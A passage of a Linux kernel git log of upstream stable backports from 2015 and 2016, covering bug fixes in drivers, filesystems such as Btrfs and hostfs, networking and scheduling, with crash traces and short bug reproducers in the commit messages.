entry_SYSCALL_64_fastpath+0x16/0x75 Code: c7 93 d9 79 a0 5b 5d e9 f1 f3 9a e0 0f 1f 00 66 2e 0f 1f 84 00 00 00 00 00 66 66 66 66 90 53 31 d2 48 89 fb 48 83 ec 08 8b 46 10 76 0c 80 bf ac 0c 00 00 00 88 87 4e 0e 00 00 74 09 80 bf 4f RIP [] sd_set_streamparm+0x12/0x60 [gspca_ov534] RSP ---[ end trace 279710c2c6c72080 ]--- Following what the doc says about a zeroed timeperframe (see http://www.linuxtv.org/downloads/v4l-dvb-apis/vidioc-g-parm.html): ... To reset manually applications can just set this field to zero. fix the issue by resetting the frame rate to a default value in case of an unusable timeperframe. The fix is done in the subdrivers instead of gspca.c because only the subdrivers have notion of a default frame rate to reset the camera to. Signed-off-by: Antonio Ospite Reviewed-by: Hans de Goede Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ed50968de6ecb2bc1fc5e175fd6612c82ce07074 Author: Malcolm Priestley Date: Mon Aug 31 06:13:45 2015 -0300 media: dvb-core: Don't force CAN_INVERSION_AUTO in oneshot mode commit c9d57de6103e343f2d4e04ea8d9e417e10a24da7 upstream. When in FE_TUNE_MODE_ONESHOT the frontend must report the actual capabilities so user can take appropriate action. With frontends that can't do auto inversion this is done by dvb-core automatically so CAN_INVERSION_AUTO is valid. However, when in FE_TUNE_MODE_ONESHOT this is not true. So only set FE_CAN_INVERSION_AUTO in modes other than FE_TUNE_MODE_ONESHOT Signed-off-by: Malcolm Priestley Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d3a7a367951811fcc30e98764ddd86a17856aeb3 Author: Vegard Nossum Date: Wed Dec 16 21:59:56 2015 +0100 uml: fix hostfs mknod() commit 9f2dfda2f2f1c6181c3732c16b85c59ab2d195e0 upstream. An inverted return value check in hostfs_mknod() caused the function to return success after handling it as an error (and cleaning up). It resulted in the following segfault when trying to bind() a named unix socket: Pid: 198, comm: a.out Not tainted 4.4.0-rc4 RIP: 0033:[<0000000061077df6>] RSP: 00000000daae5d60 EFLAGS: 00010202 RAX: 0000000000000000 RBX: 000000006092a460 RCX: 00000000dfc54208 RDX: 0000000061073ef1 RSI: 0000000000000070 RDI: 00000000e027d600 RBP: 00000000daae5de0 R08: 00000000da980ac0 R09: 0000000000000000 R10: 0000000000000003 R11: 00007fb1ae08f72a R12: 0000000000000000 R13: 000000006092a460 R14: 00000000daaa97c0 R15: 00000000daaa9a88 Kernel panic - not syncing: Kernel mode fault at addr 0x40, ip 0x61077df6 CPU: 0 PID: 198 Comm: a.out Not tainted 4.4.0-rc4 #1 Stack: e027d620 dfc54208 0000006f da981398 61bee000 0000c1ed daae5de0 0000006e e027d620 dfcd4208 00000005 6092a460 Call Trace: [<60dedc67>] SyS_bind+0xf7/0x110 [<600587be>] handle_syscall+0x7e/0x80 [<60066ad7>] userspace+0x3e7/0x4e0 [<6006321f>] ? save_registers+0x1f/0x40 [<6006c88e>] ? arch_prctl+0x1be/0x1f0 [<60054985>] fork_handler+0x85/0x90 Let's also get rid of the "cosmic ray protection" while we're at it. Fixes: e9193059b1b3 "hostfs: fix races in dentry_name() and inode_name()" Signed-off-by: Vegard Nossum Cc: Jeff Dike Cc: Al Viro Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a90bdff5ba7962f9f7611072bffadef3bb6351fa Author: Vegard Nossum Date: Fri Dec 18 21:28:53 2015 +0100 uml: flush stdout before forking commit 0754fb298f2f2719f0393491d010d46cfb25d043 upstream. I was seeing some really weird behaviour where piping UML's output somewhere would cause output to get duplicated: $ ./vmlinux | head -n 40 Checking that ptrace can change system call numbers...Core dump limits : soft - 0 hard - NONE OK Checking syscall emulation patch for ptrace...Core dump limits : soft - 0 hard - NONE OK Checking advanced syscall emulation patch for ptrace...Core dump limits : soft - 0 hard - NONE OK Core dump limits : soft - 0 hard - NONE This is because these tests do a fork() which duplicates the non-empty stdout buffer, then glibc flushes the duplicated buffer as each child exits. A simple workaround is to flush before forking. Signed-off-by: Vegard Nossum Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2e2256f10058bdc42d209d1092d98cbe79c3bc3f Author: Stefan Haberland Date: Tue Dec 15 10:45:05 2015 +0100 s390/dasd: fix refcount for PAV reassignment commit 9d862ababb609439c5d6987f6d3ddd09e703aa0b upstream. Add refcount to the DASD device when a summary unit check worker is scheduled. This prevents that the device is set offline with worker in place. Signed-off-by: Stefan Haberland Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b711d7ecb0c0a6f16f0956b0692197971999bfda Author: Stefan Haberland Date: Tue Dec 15 10:16:43 2015 +0100 s390/dasd: prevent incorrect length error under z/VM after PAV changes commit 020bf042e5b397479c1174081b935d0ff15d1a64 upstream. The channel checks the specified length and the provided amount of data for CCWs and provides an incorrect length error if the size does not match. Under z/VM with simulation activated the length may get changed. Having the suppress length indication bit set is stated as good CCW coding practice and avoids errors under z/VM. Signed-off-by: Stefan Haberland Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4c41d50474981a83b0c53873bb4aa92993f53164 Author: Ard Biesheuvel Date: Fri Jan 1 13:39:22 2016 +0100 s390: fix normalization bug in exception table sorting commit bcb7825a77f41c7dd91da6f7ac10b928156a322e upstream. The normalization pass in the sorting routine of the relative exception table serves two purposes: - it ensures that the address fields of the exception table entries are fully ordered, so that no ambiguities arise between entries with identical instruction offsets (i.e., when two instructions that are exactly 8 bytes apart each have an exception table entry associated with them) - it ensures that the offsets of both the instruction and the fixup fields of each entry are relative to their final location after sorting. Commit eb608fb366de ("s390/exceptions: switch to relative exception table entries") ported the relative exception table format from x86, but modified the sorting routine to only normalize the instruction offset field and not the fixup offset field. The result is that the fixup offset of each entry will be relative to the original location of the entry before sorting, likely leading to crashes when those entries are dereferenced. Fixes: eb608fb366de ("s390/exceptions: switch to relative exception table entries") Signed-off-by: Ard Biesheuvel Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 411cfb813cb4cdd74e0ba24d79090538ebd9133d Author: Filipe Manana Date: Thu Dec 31 18:16:29 2015 +0000 Btrfs: fix number of transaction units required to create symlink commit 9269d12b2d57d9e3d13036bb750762d1110d425c upstream. We weren't accounting for the insertion of an inline extent item for the symlink inode nor that we need to update the parent inode item (through the call to btrfs_add_nondir()). So fix this by including two more transaction units. Signed-off-by: Filipe Manana Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f07b0044aeb38c01f75d8b09a9ed5d4ca5d566a Author: Filipe Manana Date: Thu Dec 31 18:07:59 2015 +0000 Btrfs: send, don't BUG_ON() when an empty symlink is found commit a879719b8c90e15c9e7fa7266d5e3c0ca962f9df upstream. When a symlink is successfully created it always has an inline extent containing the source path. However if an error happens when creating the symlink, we can leave in the subvolume's tree a symlink inode without any such inline extent item - this happens if after btrfs_symlink() calls btrfs_end_transaction() and before it calls the inode eviction handler (through the final iput() call), the transaction gets committed and a crash happens before the eviction handler gets called, or if a snapshot of the subvolume is made before the eviction handler gets called. Sadly we can't just avoid this by making btrfs_symlink() call btrfs_end_transaction() after it calls the eviction handler, because the later can commit the current transaction before it removes any items from the subvolume tree (if it encounters ENOSPC errors while reserving space for removing all the items). So make send fail more gracefully, with an -EIO error, and print a message to dmesg/syslog informing that there's an empty symlink inode, so that the user can delete the empty symlink or do something else about it. Reported-by: Stephen R. van den Berg Signed-off-by: Filipe Manana Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cbc9cfee8fc53203f6506c3fbc668c99fc5bf630 Author: Josef Bacik Date: Thu Oct 22 15:05:09 2015 -0400 Btrfs: igrab inode in writepage commit be7bd730841e69fe8f70120098596f648cd1f3ff upstream. We hit this panic on a few of our boxes this week where we have an ordered_extent with an NULL inode. We do an igrab() of the inode in writepages, but weren't doing it in writepage which can be called directly from the VM on dirty pages. If the inode has been unlinked then we could have I_FREEING set which means igrab() would return NULL and we get this panic. Fix this by trying to igrab in btrfs_writepage, and if it returns NULL then just redirty the page and return AOP_WRITEPAGE_ACTIVATE; so the VM knows it wasn't successful. Thanks, Signed-off-by: Josef Bacik Reviewed-by: Liu Bo Signed-off-by: David Sterba Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 70993b4da6b5528f19762ac8d3f1b3f9892cdb47 Author: Anand Jain Date: Wed Oct 7 17:23:23 2015 +0800 Btrfs: add missing brelse when superblock checksum fails commit b2acdddfad13c38a1e8b927d83c3cf321f63601a upstream. Looks like oversight, call brelse() when checksum fails. Further down the code, in the non error path, we do call brelse() and so we don't see brelse() in the goto error paths. Signed-off-by: Anand Jain Reviewed-by: David Sterba Signed-off-by: David Sterba Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f801fe8bb27d27a912388cbb4f166389199bf86f Author: Russell King Date: Fri Dec 11 12:09:03 2015 +0000 scripts: recordmcount: break hardlinks commit dd39a26538e37f6c6131e829a4a510787e43c783 upstream. recordmcount edits the file in-place, which can cause problems when using ccache in hardlink mode. Arrange for recordmcount to break a hardlinked object. Link: http://lkml.kernel.org/r/E1a7MVT-0000et-62@rmk-PC.arm.linux.org.uk Signed-off-by: Russell King Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29bf21dd70d1bc983f215655be5a7ef19319e277 Author: James Bottomley Date: Fri Dec 11 09:16:38 2015 -0800 ses: fix additional element traversal bug commit 5e1033561da1152c57b97ee84371dba2b3d64c25 upstream. KASAN found that our additional element processing scripts drop off the end of the VPD page into unallocated space. The reason is that not every element has additional information but our traversal routines think they do, leading to them expecting far more additional information than is present. Fix this by adding a gate to the traversal routine so that it only processes elements that are expected to have additional information (list is in SES-2 section 6.1.13.1: Additional Element Status diagnostic page overview) Reported-by: Pavel Tikhomirov Tested-by: Pavel Tikhomirov Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 638057ab3ef823a2e9711dec31c97dbc67bea218 Author: James Bottomley Date: Tue Dec 8 09:00:31 2015 -0800 ses: Fix problems with simple enclosures commit 3417c1b5cb1fdc10261dbed42b05cc93166a78fd upstream. Simple enclosure implementations (mostly USB) are allowed to return only page 8 to every diagnostic query. That really confuses our implementation because we assume the return is the page we asked for and end up doing incorrect offsets based on bogus information leading to accesses outside of allocated ranges. Fix that by checking the page code of the return and giving an error if it isn't the one we asked for. This should fix reported bugs with USB storage by simply refusing to attach to enclosures that behave like this. It's also good defensive practise now that we're starting to see more USB enclosures. Reported-by: Andrea Gelmini Reviewed-by: Ewan D. Milne Reviewed-by: Tomas Henzl Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 03ad6fa8bdec8500bc14bcbfc8b8689ec1f110ac Author: Johannes Berg Date: Thu Dec 10 10:37:51 2015 +0100 rfkill: copy the name into the rfkill struct commit b7bb110008607a915298bf0f47d25886ecb94477 upstream. Some users of rfkill, like NFC and cfg80211, use a dynamic name when allocating rfkill, in those cases dev_name(). Therefore, the pointer passed to rfkill_alloc() might not be valid forever, I specifically found the case that the rfkill name was quite obviously an invalid pointer (or at least garbage) when the wiphy had been renamed. Fix this by making a copy of the rfkill name in rfkill_alloc(). Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e77594efee9d1386bc7b65fb2936b9703c9a901f Author: Kirill A. Shutemov Date: Mon Nov 30 04:17:31 2015 +0200 vgaarb: fix signal handling in vga_get() commit 9f5bd30818c42c6c36a51f93b4df75a2ea2bd85e upstream. There are few defects in vga_get() related to signal hadning: - we shouldn't check for pending signals for TASK_UNINTERRUPTIBLE case; - if we found pending signal we must remove ourself from wait queue and change task state back to running; - -ERESTARTSYS is more appropriate, I guess. Signed-off-by: Kirill A. Shutemov Reviewed-by: David Herrmann Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd3106bfb51ab2554d59b8daed163b17af3f3c67 Author: Joe Thornber Date: Thu Dec 10 14:37:53 2015 +0000 dm btree: fix bufio buffer leaks in dm_btree_del() error path commit ed8b45a3679eb49069b094c0711b30833f27c734 upstream. If dm_btree_del()'s call to push_frame() fails, e.g. due to btree_node_validator finding invalid metadata, the dm_btree_del() error path must unlock all frames (which have active dm-bufio buffers) that were pushed onto the del_stack. Otherwise, dm_bufio_client_destroy() will BUG_ON() because dm-bufio buffers have leaked, e.g.: device-mapper: bufio: leaked buffer 3, hold count 1, list 0 Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32fb53b1896d6a43387e665a3e153b92bf08e92f Author: Mikulas Patocka Date: Thu Nov 26 12:00:59 2015 -0500 sata_sil: disable trim commit d98f1cd0a3b70ea91f1dfda3ac36c3b2e1a4d5e2 upstream. When I connect an Intel SSD to SATA SIL controller (PCI ID 1095:3114), any TRIM command results in I/O errors being reported in the log. There is other similar error reported with TRIM and the SIL controller: https://bugs.centos.org/view.php?id=5880 Apparently the controller doesn't support TRIM commands. This patch disables TRIM support on the SATA SIL controller. ata7.00: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 ata7.00: BMDMA2 stat 0x50001 ata7.00: failed command: DATA SET MANAGEMENT ata7.00: cmd 06/01:01:00:00:00/00:00:00:00:00/a0 tag 0 dma 512 out res 51/04:01:00:00:00/00:00:00:00:00/a0 Emask 0x1 (device error) ata7.00: status: { DRDY ERR } ata7.00: error: { ABRT } ata7.00: device reported invalid CHS sector 0 sd 8:0:0:0: [sdb] tag#0 FAILED Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE sd 8:0:0:0: [sdb] tag#0 Sense Key : Illegal Request [current] [descriptor] sd 8:0:0:0: [sdb] tag#0 Add. Sense: Unaligned write command sd 8:0:0:0: [sdb] tag#0 CDB: Write same(16) 93 08 00 00 00 00 00 21 95 88 00 20 00 00 00 00 blk_update_request: I/O error, dev sdb, sector 2200968 Signed-off-by: Mikulas Patocka Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 77af9f3a8ada4bb6730d7b56467d1b5942ca7e69 Author: Sasha Levin Date: Mon Nov 30 20:34:20 2015 -0500 sched/core: Remove false-positive warning from wake_up_process() commit 119d6f6a3be8b424b200dcee56e74484d5445f7e upstream. Because wakeups can (fundamentally) be late, a task might not be in the expected state. Therefore testing against a task's state is racy, and can yield false positives. Signed-off-by: Sasha Levin Signed-off-by: Peter Zijlstra (Intel) Acked-by: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: oleg@redhat.com Fixes: 9067ac85d533 ("wake_up_process() should be never used to wakeup a TASK_STOPPED/TRACED task") Link: http://lkml.kernel.org/r/1448933660-23082-1-git-send-email-sasha.levin@oracle.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 74823c55a406bc1cebf71d27239ab9627e9e30dd Author: Mirza Krak Date: Tue Nov 10 14:59:34 2015 +0100 can: sja1000: clear interrupts on start commit 7cecd9ab80f43972c056dc068338f7bcc407b71c upstream. According to SJA1000 data sheet error-warning (EI) interrupt is not cleared by setting the controller in to reset-mode. Then if we have the following case: - system is suspended (echo mem > /sys/power/state) and SJA1000 is left in operating state - A bus error condition occurs which activates EI interrupt, system is still suspended which means EI interrupt will be not be handled nor cleared. If the above two events occur, on resume there is no way to return the SJA1000 to operating state, except to cycle power to it. By simply reading the IR register on start we will clear any previous conditions that could be present. Signed-off-by: Mirza Krak Reported-by: Christian Magnusson Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e6e9b1f81306822f144465dce1505605af6e1891 Author: Quentin Casasnovas Date: Tue Nov 24 17:13:21 2015 -0500 RDS: fix race condition when sending a message on unbound socket commit 8c7188b23474cca017b3ef354c4a58456f68303a upstream. Sasha's found a NULL pointer dereference in the RDS connection code when sending a message to an apparently unbound socket. The problem is caused by the code checking if the socket is bound in rds_sendmsg(), which checks the rs_bound_addr field without taking a lock on the socket. This opens a race where rs_bound_addr is temporarily set but where the transport is not in rds_bind(), leading to a NULL pointer dereference when trying to dereference 'trans' in __rds_conn_create(). Vegard wrote a reproducer for this issue, so kindly ask him to share if you're interested. I cannot reproduce the NULL pointer dereference using Vegard's reproducer with this patch, whereas I could without. Complete earlier incomplete fix to CVE-2015-6937: 74e98eb08588 ("RDS: verify the underlying transport exists before creating a connection") Reviewed-by: Vegard Nossum Reviewed-by: Sasha Levin Acked-by: Santosh Shilimkar Signed-off-by: Quentin Casasnovas Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f9e5d40d474113c9c1ef75170b62150ea633cbf6 Author: Johannes Berg Date: Tue Nov 17 14:25:21 2015 +0100 mac80211: mesh: fix call_rcu() usage commit c2e703a55245bfff3db53b1f7cbe59f1ee8a4339 upstream. When using call_rcu(), the called function may be delayed quite significantly, and without a matching rcu_barrier() there's no way to be sure it has finished. Therefore, global state that could be gone/freed/reused should never be touched in the callback. Fix this in mesh by moving the atomic_dec() into the caller; that's not really a problem since we already unlinked the path and it will be destroyed anyway. This fixes a crash Jouni observed when running certain tests in a certain order, in which the mesh interface was torn down, the memory reused for a function pointer (work struct) and running that then crashed since the pointer had been decremented by 1, resulting in an invalid instruction byte stream. Fixes: eb2b9311fd00 ("mac80211: mesh path table implementation") Reported-by: Jouni Malinen Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d4dfe7893ac2966f34f870dbd513fdd577fe559b Author: Suman Anna Date: Wed Sep 16 19:29:17 2015 -0500 virtio: fix memory leak of virtio ida cache layers commit c13f99b7e945dad5273a8b7ee230f4d1f22d3354 upstream. The virtio core uses a static ida named virtio_index_ida for assigning index numbers to virtio devices during registration. The ida core may allocate some internal idr cache layers and an ida bitmap upon any ida allocation, and all these layers are truely freed only upon the ida destruction. The virtio_index_ida is not destroyed at present, leading to a memory leak when using the virtio core as a module and atleast one virtio device is registered and unregistered. Fix this by invoking ida_destroy() in the virtio core module exit. Signed-off-by: Suman Anna Signed-off-by: Michael S. Tsirkin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 797156d959debe420bab15ba7e45158306854401 Author: Steven Rostedt (Red Hat) Date: Mon Nov 23 10:35:36 2015 -0500 ring-buffer: Update read stamp with first real commit on page commit b81f472a208d3e2b4392faa6d17037a89442f4ce upstream. Do not update the read stamp after swapping out the reader page from the write buffer. If the reader page is swapped out of the buffer before an event is written to it, then the read_stamp may get an out of date timestamp, as the page timestamp is updated on the first commit to that page. rb_get_reader_page() only returns a page if it has an event on it, otherwise it will return NULL. At that point, check if the page being returned has events and has not been read yet. Then at that point update the read_stamp to match the time stamp of the reader page. Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2138f0ecf0e06fb74baa327b820068ad2d02766a Author: Jan Kara Date: Mon Nov 23 13:09:51 2015 +0100 vfs: Avoid softlockups with sendfile(2) commit c2489e07c0a71a56fb2c84bc0ee66cddfca7d068 upstream. The following test program from Dmitry can cause softlockups or RCU stalls as it copies 1GB from tmpfs into eventfd and we don't have any scheduling point at that path in sendfile(2) implementation: int r1 = eventfd(0, 0); int r2 = memfd_create("", 0); unsigned long n = 1<<30; fallocate(r2, 0, 0, n); sendfile(r1, r2, 0, n); Add cond_resched() into __splice_from_pipe() to fix the problem. CC: Dmitry Vyukov Signed-off-by: Jan Kara Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5407c6c4bbb545c6fab78305c024b9f06c6ea9be Author: Vineet Gupta Date: Mon Nov 23 19:32:51 2015 +0530 ARC: dw2 unwind: Remove falllback linear search thru FDE entries commit 2e22502c080f27afeab5e6f11e618fb7bc7aea53 upstream. Fixes STAR 9000953410: "perf callgraph profiling causing RCU stalls" | perf record -g -c 15000 -e cycles /sbin/hackbench | | INFO: rcu_preempt self-detected stall on CPU | 1: (1 GPs behind) idle=609/140000000000002/0 softirq=2914/2915 fqs=603 | Task dump for CPU 1: in-kernel dwarf unwinder has a fast binary lookup and a fallback linear search (which iterates thru each of ~11K entries) thus takes 2 orders of magnitude longer (~3 million cycles vs. 2000). Routines written in hand assembler lack dwarf info (as we don't support assembler CFI pseudo-ops yet) fail the unwinder binary lookup, hit linear search, failing nevertheless in the end. However the linear search is pointless as binary lookup tables are created from it in first place. It is impossible to have binary lookup fail while succeed the linear search. It is pure waste of cycles thus removed by this patch. This manifested as RCU stalls / NMI watchdog splat when running hackbench under perf with callgraph profiling. The triggering condition was perf counter overflowing in routine lacking dwarf info (like memset) leading to patheic 3 million cycle unwinder slow path and by the time it returned new interrupts were already pending (Timer, IPI) and taken rightaway. The original memset didn't make forward progress, system kept accruing more interrupts and more unwinder delayes in a vicious feedback loop, ultimately triggering the NMI diagnostic. Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a284624ef54ff58a4c3659fbf0c608c47dca96e9 Author: Kees Cook Date: Thu Nov 19 17:18:54 2015 -0800 mac: validate mac_partition is within sector commit 02e2a5bfebe99edcf9d694575a75032d53fe1b73 upstream. If md->signature == MAC_DRIVER_MAGIC and md->block_size == 1023, a single 512 byte sector would be read (secsize / 512). However the partition structure would be located past the end of the buffer (secsize % 512). Signed-off-by: Kees Cook Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e514e131edc775b566f10ad1d76fc6ece85d3c1 Author: Luca Porzio Date: Fri Nov 6 15:12:26 2015 +0000 mmc: remove bondage between REQ_META and reliable write commit d3df0465db00cf4ed9f90d0bfc3b827d32b9c796 upstream. Anytime a write operation is performed with Reliable Write flag enabled, the eMMC device is enforced to bypass the cache and do a write to the underling NVM device by Jedec specification; this causes a performance penalty since write operations can't be optimized by the device cache. In our tests, we replayed a typical mobile daily trace pattern and found ~9% overall time reduction in trace replay by using this patch. Also the write ops within 4KB~64KB chunk size range get a 40~60% performance improvement by using the patch (as this range of write chunks are the ones affected by REQ_META). This patch has been discussed in the Mobile & Embedded Linux Storage Forum and it's the results of feedbacks from many people. We also checked with fsdevl and f2fs mailing list developers that this change in the usage of REQ_META is not affecting FS behavior and we got positive feedbacks. Reporting here the feedbacks: http://comments.gmane.org/gmane.linux.file-systems/97219 http://thread.gmane.org/gmane.linux.file-systems.f2fs/3178/focus=3183 Signed-off-by: Bruce Ford Signed-off-by: Luca Porzio Fixes: ce39f9d17c14 ("mmc: support packed write command for eMMC4.5 devices") Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d46398e4fad801a207bfffb4f88cacfcb1f5aba0 Author: sumit.saxena@avagotech.com Date: Thu Oct 15 13:40:54 2015 +0530 megaraid_sas : SMAP restriction--do not access user memory from IOCTL code commit 323c4a02c631d00851d8edc4213c4d184ef83647 upstream. This is an issue on SMAP enabled CPUs and 32 bit apps running on 64 bit OS. Do not access user memory from kernel code. The SMAP bit restricts accessing user memory from kernel code. Signed-off-by: Sumit Saxena Signed-off-by: Kashyap Desai Reviewed-by: Tomas Henzl Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f9d47e9c3bf5b9f6d2b1722e91dbc7ad367d186d Author: sumit.saxena@avagotech.com Date: Thu Oct 15 13:40:04 2015 +0530 megaraid_sas: Do not use PAGE_SIZE for max_sectors commit 357ae967ad66e357f78b5cfb5ab6ca07fb4a7758 upstream. Do not use PAGE_SIZE marco to calculate max_sectors per I/O request. Driver code assumes PAGE_SIZE will be always 4096 which can lead to wrongly calculated value if PAGE_SIZE is not 4096. This issue was reported in Ubuntu Bugzilla Bug #1475166. Signed-off-by: Sumit Saxena Signed-off-by: Kashyap Desai Reviewed-by: Tomas Henzl Reviewed-by: Martin K. Petersen Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e144914cab95d918efe330a198a758362a9fae5 Author: Valentin Rothberg Date: Tue Sep 22 19:00:40 2015 +0200 wm831x_power: Use IRQF_ONESHOT to request threaded IRQs commit 90adf98d9530054b8e665ba5a928de4307231d84 upstream. Since commit 1c6c69525b40 ("genirq: Reject bogus threaded irq requests") threaded IRQs without a primary handler need to be requested with IRQF_ONESHOT, otherwise the request will fail. scripts/coccinelle/misc/irqf_oneshot.cocci detected this issue. Fixes: b5874f33bbaf ("wm831x_power: Use genirq") Signed-off-by: Valentin Rothberg Signed-off-by: Sebastian Reichel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f78007b719565b2abcd64dfa3c059194d2552b3 Author: Dan Carpenter Date: Mon Sep 21 19:21:51 2015 +0300 devres: fix a for loop bounds check commit 1f35d04a02a652f14566f875aef3a6f2af4cb77b upstream. The iomap[] array has PCIM_IOMAP_MAX (6) elements and not DEVICE_COUNT_RESOURCE (16). This bug was found using a static checker. It may be that the "if (!(mask & (1 << i)))" check means we never actually go past the end of the array in real life. Fixes: ec04b075843d ('iomap: implement pcim_iounmap_regions()') Signed-off-by: Dan Carpenter Acked-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d73bf210ad300ecac0369ecc69a4fe519687adb9 Author: Andrey Ryabinin Date: Wed Sep 23 15:49:29 2015 +0300 lockd: create NSM handles per net namespace commit 0ad95472bf169a3501991f8f33f5147f792a8116 upstream. Commit cb7323fffa85 ("lockd: create and use per-net NSM RPC clients on MON/UNMON requests") introduced per-net NSM RPC clients. Unfortunately this doesn't make any sense without per-net nsm_handle. E.g. the following scenario could happen Two hosts (X and Y) in different namespaces (A and B) share the same nsm struct. 1. nsm_monitor(host_X) called => NSM rpc client created, nsm->sm_monitored bit set. 2. nsm_mointor(host-Y) called => nsm->sm_monitored already set, we just exit. Thus in namespace B ln->nsm_clnt == NULL. 3. host X destroyed => nsm->sm_count decremented to 1 4. host Y destroyed => nsm_unmonitor() => nsm_mon_unmon() => NULL-ptr dereference of *ln->nsm_clnt So this could be fixed by making per-net nsm_handles list, instead of global. Thus different net namespaces will not be able share the same nsm_handle. Signed-off-by: Andrey Ryabinin Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e8b9cf64709f46473a738832ea4db41e0944bc43 Author: Roman Volkov Date: Fri Jan 1 16:24:41 2016 +0300 clocksource/drivers/vt8500: Increase the minimum delta commit f9eccf24615672896dc13251410c3f2f33a14f95 upstream. The vt8500 clocksource driver declares itself as capable to handle the minimum delay of 4 cycles by passing the value into clockevents_config_and_register(). The vt8500_timer_set_next_event() requires the passed cycles value to be at least 16. The impact is that userspace hangs in nanosleep() calls with small delay intervals. This problem is reproducible in Linux 4.2 starting from: c6eb3f70d448 ('hrtimer: Get rid of hrtimer softirq') From Russell King, more detailed explanation: "It's a speciality of the StrongARM/PXA hardware. It takes a certain number of OSCR cycles for the value written to hit the compare registers. So, if a very small delta is written (eg, the compare register is written with a value of OSCR + 1), the OSCR will have incremented past this value before it hits the underlying hardware. The result is, that you end up waiting a very long time for the OSCR to wrap before the event fires. So, we introduce a check in set_next_event() to detect this and return -ETIME if the calculated delta is too small, which causes the generic clockevents code to retry after adding the min_delta specified in clockevents_config_and_register() to the current time value. min_delta must be sufficient that we don't re-trip the -ETIME check - if we do, we will return -ETIME, forward the next event time, try to set it, return -ETIME again, and basically lock the system up. So, min_delta must be larger than the check inside set_next_event(). A factor of two was chosen to ensure that this situation would never occur. The PXA code worked on PXA systems for years, and I'd suggest no one changes this mechanism without access to a wide range of PXA systems, otherwise they're risking breakage." Cc: Russell King Acked-by: Alexey Charkov Signed-off-by: Roman Volkov Signed-off-by: Daniel Lezcano Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f649c06e643c7200bfff23f11b062d65c6fad7f9 Author: Thomas Gleixner Date: Sun Dec 13 18:12:30 2015 +0100 genirq: Prevent chip buslock deadlock commit abc7e40c81d113ef4bacb556f0a77ca63ac81d85 upstream. If a interrupt chip utilizes chip->buslock then free_irq() can deadlock in the following way: CPU0 CPU1 interrupt(X) (Shared or spurious) free_irq(X) interrupt_thread(X) chip_bus_lock(X) irq_finalize_oneshot(X) chip_bus_lock(X) synchronize_irq(X) synchronize_irq() waits for the interrupt thread to complete, i.e. forever. Solution is simple: Drop chip_bus_lock() before calling synchronize_irq() as we do with the irq_desc lock. There is nothing to be protected after the point where irq_desc lock has been released. This adds chip_bus_lock/unlock() to the remove_irq() code path, but that's actually correct in the case where remove_irq() is called on such an interrupt. The current users of remove_irq() are not affected as none of those interrupts is on a chip which requires buslock. Reported-by: Fredrik Markström Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a50b264b323f9a803e68e6f5abcbddab1dd1022 Author: Hannes Frederic Sowa Date: Wed Feb 3 02:11:03 2016 +0100 unix: correctly track in-flight fds in sending process user_struct commit 415e3d3e90ce9e18727e8843ae343eda5a58fad6 